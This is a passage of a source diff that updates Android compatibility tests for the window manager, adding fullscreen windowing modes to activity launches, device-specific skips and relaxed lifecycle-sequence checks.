@@ -209,7 +209,7 @@
 
         // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
         // the fullscreen activity is still visible and on top after the assistant activity finishes
-        launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
+        launchActivityOnDisplay(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
         try (final AssistantSession assistantSession = new AssistantSession()) {
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
 
@@ -265,7 +265,7 @@
             // Launch a fullscreen app and then launch the assistant and check to see that it is
             // also visible
             removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
-            launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
+            launchActivityOnDisplay(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
             waitForValidStateWithActivityType(
@@ -336,7 +336,7 @@
 
             // Launch a new fullscreen activity
             // Using Animation Test Activity because it is opaque on all devices.
-            launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, mAssistantDisplayId);
+            launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId);
             // Wait for animation finished.
             mWmState.waitForActivityState(ANIMATION_TEST_ACTIVITY, STATE_RESUMED);
             mWmState.assertVisibility(ASSISTANT_ACTIVITY, isAssistantOnTop());
@@ -367,7 +367,7 @@
 
             // Launch a fullscreen activity and a PIP activity, then launch the assistant, and
             // ensure that the test activity is still visible
-            launchActivity(TEST_ACTIVITY);
+            launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
             launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_ASSISTANT_IS_TRANSLUCENT, String.valueOf(true));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
index 850870a..2b7089d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.server.wm.StateLogger.log;
 import static android.server.wm.StateLogger.logE;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
@@ -206,7 +207,7 @@
 
     private void testRotation(ComponentName activityName, int rotationStep, int numRelaunch,
             int numConfigChange) {
-        launchActivity(activityName);
+        launchActivity(activityName, WINDOWING_MODE_FULLSCREEN);
         mWmState.computeState(activityName);
 
         final int initialRotation = 4 - rotationStep;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index 6ad0dc1..bd415bf 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -23,6 +23,7 @@
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
@@ -60,6 +61,18 @@
     }
 
     /**
+     * Tests that config_remoteInsetsControllerControlsSystemBars is not set to true for
+     * non-automotive devices.
+     */
+    @Test
+    public void testRemoteInsetsControllerNotControlSystemBarsForNonAutoDevies() {
+        assumeFalse(isCar());
+
+        assertFalse("Non auto devices should not set config_remoteInsetsControllerControlsSystemBars",
+                remoteInsetsControllerControlsSystemBars());
+    }
+
+    /**
      * Tests that secondary display has override configuration set.
      */
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
index fa5884a..ddc8163 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
@@ -16,6 +16,8 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.TEST_DREAM_SERVICE;
 import static android.server.wm.app.Components.TEST_STUBBORN_DREAM_SERVICE;
 import static android.server.wm.ComponentNameUtils.getWindowName;
@@ -48,7 +50,7 @@
     private static final long ACTIVITY_STOP_TIMEOUT = 3000;
 
     // Timeout after which the dream should have been forcefully stopped
-    private static final long ACTIVITY_FORCE_STOP_TIMEOUT = 5500;
+    private static final long ACTIVITY_FORCE_STOP_TIMEOUT = 6500;
 
     private ComponentName mDreamActivityName;
 
@@ -115,8 +117,16 @@
                    && !mWmState.containsActivity(mDreamActivityName));
     }
 
+    private void startFullscreenTestActivity() {
+        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Test activity should be the top resumed activity");
+        mWmState.assertVisibility(TEST_ACTIVITY, true);
+    }
+
     @Test
     public void testStartAndStopDream() throws Exception {
+        startFullscreenTestActivity();
         setActiveDream(TEST_DREAM_SERVICE);
 
         startDream(TEST_DREAM_SERVICE);
@@ -124,14 +134,16 @@
                 "Dream activity should be the top resumed activity");
         mWmState.waitForValidState(mWmState.getHomeActivityName());
         mWmState.assertVisibility(mWmState.getHomeActivityName(), false);
+        mWmState.waitForValidState(TEST_ACTIVITY);
+        mWmState.assertVisibility(TEST_ACTIVITY, false);
 
         assertTrue(getIsDreaming());
 
         stopDream();
         mWmState.waitAndAssertActivityRemoved(mDreamActivityName);
 
-        waitAndAssertTopResumedActivity(mWmState.getHomeActivityName(), DEFAULT_DISPLAY,
-                "Home activity should show when dream is stopped");
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Previous top activity should show when dream is stopped");
     }
 
     @Test
@@ -155,6 +167,7 @@
 
     @Test
     public void testForceStopStubbornDream() throws Exception {
+        startFullscreenTestActivity();
         setActiveDream(TEST_STUBBORN_DREAM_SERVICE);
 
         startDream(TEST_STUBBORN_DREAM_SERVICE);
@@ -162,6 +175,8 @@
                 "Dream activity should be the top resumed activity");
         mWmState.waitForValidState(mWmState.getHomeActivityName());
         mWmState.assertVisibility(mWmState.getHomeActivityName(), false);
+        mWmState.waitForValidState(TEST_ACTIVITY);
+        mWmState.assertVisibility(TEST_ACTIVITY, false);
 
         stopDream();
 
@@ -169,8 +184,8 @@
 
         assertDreamActivityGone();
         assertFalse(getIsDreaming());
-        waitAndAssertTopResumedActivity(mWmState.getHomeActivityName(), DEFAULT_DISPLAY,
-                "Home activity should show when dream is stopped");
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Previous top activity should show when dream is stopped");
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index 44bd353..86de555 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -196,6 +196,11 @@
      */
     @Test
     public void testLaunchExternalDisplayActivityWhilePrimaryOff() {
+        if (isOperatorTierDevice()) {
+            // This test is not applicable for the device who uses launch_after_boot configuration
+            return;
+        }
+
         // Launch something on the primary display so we know there is a resumed activity there
         launchActivity(RESIZEABLE_ACTIVITY);
         waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index b6fc590..3584353 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -17,6 +17,7 @@
 package android.server.wm;
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
@@ -149,7 +150,7 @@
 
         // Launch a resizeable activity on new secondary display.
         separateTestJournal();
-        launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN, newDisplay.mId);
         waitAndAssertActivityStateOnDisplay(RESIZEABLE_ACTIVITY, STATE_RESUMED, newDisplay.mId,
                 "Launched activity must be resumed");
 
@@ -821,7 +822,8 @@
 
         getLaunchActivityBuilder().setUseInstrumentation()
                 .setTargetActivity(SDK_27_LAUNCHING_ACTIVITY).setNewTask(true)
-                .setDisplayId(DEFAULT_DISPLAY).execute();
+                .setDisplayId(DEFAULT_DISPLAY).setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                .execute();
         waitAndAssertTopResumedActivity(SDK_27_LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
                 "Activity launched on default display must be resumed and focused");
 
@@ -831,7 +833,8 @@
 
         getLaunchActivityBuilder().setUseInstrumentation()
                 .setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY).setNewTask(true)
-                .setDisplayId(DEFAULT_DISPLAY).execute();
+                .setDisplayId(DEFAULT_DISPLAY).setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                .execute();
         waitAndAssertTopResumedActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY, DEFAULT_DISPLAY,
                 "Activity launched on default display must be resumed and focused");
         assertTrue("Activity that was on secondary display must be resumed",
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 219e78e..0dd955e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -574,6 +574,9 @@
 
     @Test
     public void testImeWindowCanShownWhenActivityMovedToDisplay() throws Exception {
+        // If config_perDisplayFocusEnabled, the focus will not move even if touching on
+        // the Activity in the different display.
+        assumeFalse(perDisplayFocusEnabled());
         assumeTrue(MSG_NO_MOCK_IME, supportsInstallableIme());
 
         // Launch a regular activity on default display at the test beginning to prevent the test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 1319eb1..b6d7a8c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -582,6 +582,7 @@
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
         mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
+        int defaultDisplayWindowingMode = getDefaultDisplayWindowingMode(PIP_ACTIVITY);
 
         // Launch second PIP activity
         launchActivity(PIP_ACTIVITY2, EXTRA_ENTER_PIP, "true");
@@ -591,7 +592,7 @@
         assertTrue(mWmState.containsActivityInWindowingMode(
                 PIP_ACTIVITY2, WINDOWING_MODE_PINNED));
         assertTrue(mWmState.containsActivityInWindowingMode(
-                PIP_ACTIVITY, windowingMode));
+                PIP_ACTIVITY, defaultDisplayWindowingMode));
     }
 
     @Test
@@ -862,7 +863,7 @@
     public void testConfigurationChangeOrderDuringTransition() throws Exception {
         // Launch a PiP activity and ensure configuration change only happened once, and that the
         // configuration change happened after the picture-in-picture and multi-window callbacks
-        launchActivity(PIP_ACTIVITY);
+        launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         separateTestJournal();
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
         mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
@@ -1013,7 +1014,15 @@
         waitForExitPipToFullscreen(PIP_ACTIVITY);
         assertPinnedStackDoesNotExist();
         mWmState.waitForLastOrientation(ORIENTATION_LANDSCAPE);
-        assertEquals(ORIENTATION_LANDSCAPE, mWmState.getLastOrientation());
+
+        mWmState.computeState(PIP_ACTIVITY);
+        final ActivityTask activityTask =
+                mWmState.getTaskByActivity(PIP_ACTIVITY);
+        if (activityTask.getWindowingMode() == WINDOWING_MODE_FULLSCREEN) {
+            assertEquals(ORIENTATION_LANDSCAPE, mWmState.getLastOrientation());
+        } else {
+            assertEquals(ORIENTATION_LANDSCAPE, activityTask.mOverrideConfiguration.orientation);
+        }
     }
 
     @Test
@@ -1104,9 +1113,10 @@
         // Some devices do not support recents or implement it differently (instead of using a
         // separate stack id or as an activity), for those cases the visibility asserts will be
         // ignored
-        pressAppSwitchButtonAndWaitForRecents();
-        mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, false);
+        if (pressAppSwitchButtonAndWaitForRecents()) {
+            mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+            mWmState.assertVisibility(TEST_ACTIVITY, false);
+        }
     }
 
     @Test
@@ -1258,6 +1268,12 @@
         assertTrue(displayRect.contains(pinnedStackBounds));
     }
 
+    private int getDefaultDisplayWindowingMode(ComponentName activityName) {
+        ActivityTask activityTask = mWmState.getTaskByActivity(activityName);
+        return mWmState.getDisplay(activityTask.mDisplayId)
+                .getWindowingMode();
+    }
+
     /**
      * Asserts that the pinned stack exists.
      */
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index 69b472e..9a92df9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -28,6 +28,7 @@
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.platform.test.annotations.Presubmit;
+import android.view.WindowManager;
 
 import org.junit.After;
 import org.junit.Before;
@@ -66,7 +67,7 @@
         appBounds.set(windowingMode == WINDOWING_MODE_FULLSCREEN ?
                 mWmState.getStableBounds() :
                 mWmState.findFirstWindowWithType(
-                        WindowManagerState.WindowState.WINDOW_TYPE_STARTING).getContentInsets());
+                        WindowManager.LayoutParams.TYPE_APPLICATION_STARTING).getContentFrame());
         // Use ratios to flexibly accomodate circular or not quite rectangular displays
         // Note: Color.BLACK is the pixel color outside of the display region
         assertColors(image, appBounds,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 1f472b2..49a15f5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -462,6 +462,8 @@
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+        final Rect restoreDockBounds = mWmState.getStandardRootTaskByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY) .getBounds();
         resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
         mWmState.computeState(
                 new WaitForValidActivityState(TEST_ACTIVITY),
@@ -472,6 +474,9 @@
                 WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
         mWmState.assertVisibility(DOCKED_ACTIVITY, true);
         mWmState.assertVisibility(TEST_ACTIVITY, true);
+        int restoreW = restoreDockBounds.width();
+        int restoreH = restoreDockBounds.height();
+        resizeDockedStack(restoreW, restoreH, restoreW, restoreH);
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
index 8617ddd..fdab986 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
@@ -24,9 +24,11 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.ActivityManager;
+import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.os.Bundle;
 import android.os.RemoteCallback;
 import android.os.UserHandle;
@@ -87,6 +89,15 @@
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         intent.putExtra(EXTRA_CALLBACK, cb);
 
+        final CountDownLatch returnToOriginalUserLatch = new CountDownLatch(1);
+        mContext.registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                mContext.unregisterReceiver(this);
+                returnToOriginalUserLatch.countDown();
+            }
+        }, new IntentFilter(Intent.ACTION_USER_FOREGROUND));
+
         UserHandle secondUserHandle = UserHandle.of(mSecondUserId);
 
         try {
@@ -104,6 +115,9 @@
         }
 
         assertThat(secondUser[0]).isEqualTo(mSecondUserId);
+
+        // Avoid the race between switch-user and remove-user.
+        returnToOriginalUserLatch.await(20, TimeUnit.SECONDS);
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 1057a94..b1a2a0d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -194,9 +194,11 @@
     @Test
     public void testStartActivityByNavigateUpToFromDiffUid() {
         final Intent intent1 = new Intent(mContext, Activities.RegularActivity.class);
+        final String regularActivityName = Activities.RegularActivity.class.getName();
         final TestActivitySession<Activities.RegularActivity> activitySession1 =
                 createManagedTestActivitySession();
-        activitySession1.launchTestActivityOnDisplaySync(intent1, DEFAULT_DISPLAY);
+        activitySession1.launchTestActivityOnDisplaySync(regularActivityName, intent1,
+                DEFAULT_DISPLAY);
         final TestActivitySession<Activities.SingleTopActivity> activitySession2 =
                 createManagedTestActivitySession();
         activitySession2.launchTestActivityOnDisplaySync(Activities.SingleTopActivity.class,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
index d0aa669..501e0bd 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
@@ -21,6 +21,7 @@
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
 
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -76,6 +77,7 @@
 
         mActivity = mActivityRule.getActivity();
         mActivity.dismissPermissionDialog();
+        mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewSurfaceValidatorTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewSurfaceValidatorTest.java
index fa6ee9a..6249f54 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewSurfaceValidatorTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewSurfaceValidatorTest.java
@@ -18,6 +18,8 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
+import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
+
 import android.content.Context;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -59,6 +61,7 @@
     public void setup() {
         mActivity = mActivityRule.getActivity();
         mActivity.dismissPermissionDialog();
+        mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index b6cc9b0..f3905b0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -399,7 +399,7 @@
                 mKeyEventList.add(event);
                 mLockKeyEvent.notify();
             }
-            return super.dispatchKeyEvent(event);
+            return true;
         }
 
         int getKeyEventCount() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index c90b859..35b06ba 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -175,7 +175,9 @@
         // which can trigger assertion failures in VerifyingCallback otherwise.
         runOnUiThread(() -> {
             mCallbacks.clear();
-            mRootView.setWindowInsetsAnimationCallback(null);
+            if (mRootView != null) {
+                mRootView.setWindowInsetsAnimationCallback(null);
+            }
         });
 
         // Now it should be safe to reset the IME to the default one.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index ea3a54b..60afe29 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -404,9 +404,12 @@
         ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
         PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
 
+        getInstrumentation().waitForIdleSync();
+
         // Swiping from top of display can show bars.
         dragFromTopToCenter(rootView);
-        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
+        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types)
+            && rootView.getSystemUiVisibility() != targetFlags);
 
         // Use flags to hide status bar again.
         ANIMATION_CALLBACK.reset();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index d3fa81d..58b6325 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -70,6 +70,7 @@
 
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 import java.util.function.Consumer;
 
@@ -687,7 +688,7 @@
     void moveTaskToPrimarySplitScreenAndVerify(Activity activity) {
         getLifecycleLog().clear();
 
-        moveTaskToPrimarySplitScreen(activity.getTaskId());
+        moveTaskToPrimarySplitScreen(activity.getTaskId(), true /* showSideActivity */);
 
         final Class<? extends Activity> activityClass = activity.getClass();
         waitAndAssertActivityEnterSplitScreenTransitions(activityClass, "enterSplitScreen");
@@ -703,20 +704,48 @@
         log("Start waitAndAssertActivitySplitScreenTransitions");
 
         final List<LifecycleLog.ActivityCallback> expectedTransitions =
-                LifecycleVerifier.getSplitScreenTransitionSequence(activityClass);
+                new ArrayList<LifecycleLog.ActivityCallback>(
+                        LifecycleVerifier.getSplitScreenTransitionSequence(activityClass));
+
+        final List<LifecycleLog.ActivityCallback> expectedTransitionForMinimizedDock =
+                LifecycleVerifier.appendMinimizedDockTransitionTrail(expectedTransitions);
 
         mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+
         if (!expectedTransitions.contains(ON_MULTI_WINDOW_MODE_CHANGED)) {
-            LifecycleVerifier.assertSequence(activityClass, getLifecycleLog(),
-                    expectedTransitions, message);
+            LifecycleVerifier.assertSequenceMatchesOneOf(
+                    activityClass,
+                    getLifecycleLog(),
+                    Arrays.asList(expectedTransitions, expectedTransitionForMinimizedDock),
+                    message);
         } else {
             final List<LifecycleLog.ActivityCallback> extraSequence =
-                    Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST,
-                            ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE,
-                            ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED,
-                            ON_TOP_POSITION_LOST, ON_PAUSE);
-            LifecycleVerifier.assertSequenceMatchesOneOf(activityClass, getLifecycleLog(),
-                    Arrays.asList(expectedTransitions, extraSequence), message);
+                    new ArrayList<LifecycleLog.ActivityCallback>(
+                            Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST,
+                                    ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE,
+                                    ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED));
+            final List<LifecycleLog.ActivityCallback> extraSequenceForMinimizedDock =
+                    LifecycleVerifier.appendMinimizedDockTransitionTrail(extraSequence);
+            final int displayWindowingMode =
+                    getDisplayWindowingModeByActivity(getComponentName(activityClass));
+            if (displayWindowingMode != WINDOWING_MODE_FULLSCREEN) {
+                // For non-fullscreen display mode, there won't be a multi-window callback.
+                expectedTransitions.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+                expectedTransitionForMinimizedDock.removeAll(
+                        Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+                extraSequence.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+                extraSequenceForMinimizedDock.removeAll(
+                        Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+            }
+            LifecycleVerifier.assertSequenceMatchesOneOf(
+                    activityClass,
+                    getLifecycleLog(),
+                    Arrays.asList(
+                            expectedTransitions,
+                            extraSequence,
+                            expectedTransitionForMinimizedDock,
+                            extraSequenceForMinimizedDock),
+                    message);
         }
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
index 9fbd1da..0062dac 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -98,10 +98,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Leaving the minimized dock, the stack state on the primary split screen should change
-        // from Paused to Resumed.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Show and hide lock screen
         getLifecycleLog().clear();
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index e4dc868..b018ea7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -249,8 +249,6 @@
                 .launch();
 
         LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
         LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
                 "launchBelow");
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
index 6cf6e99..87caa56 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
@@ -94,9 +94,6 @@
                 .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
                 .launch();
 
-        // Wait for SecondActivity in primary split screen leave minimize dock.
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-
         // Finish top activity
         secondActivity.finish();
 
@@ -129,11 +126,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after being moved to split-screen.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
-
         // Launch third activity on top of second
         getLifecycleLog().clear();
         new Launcher(ThirdActivity.class)
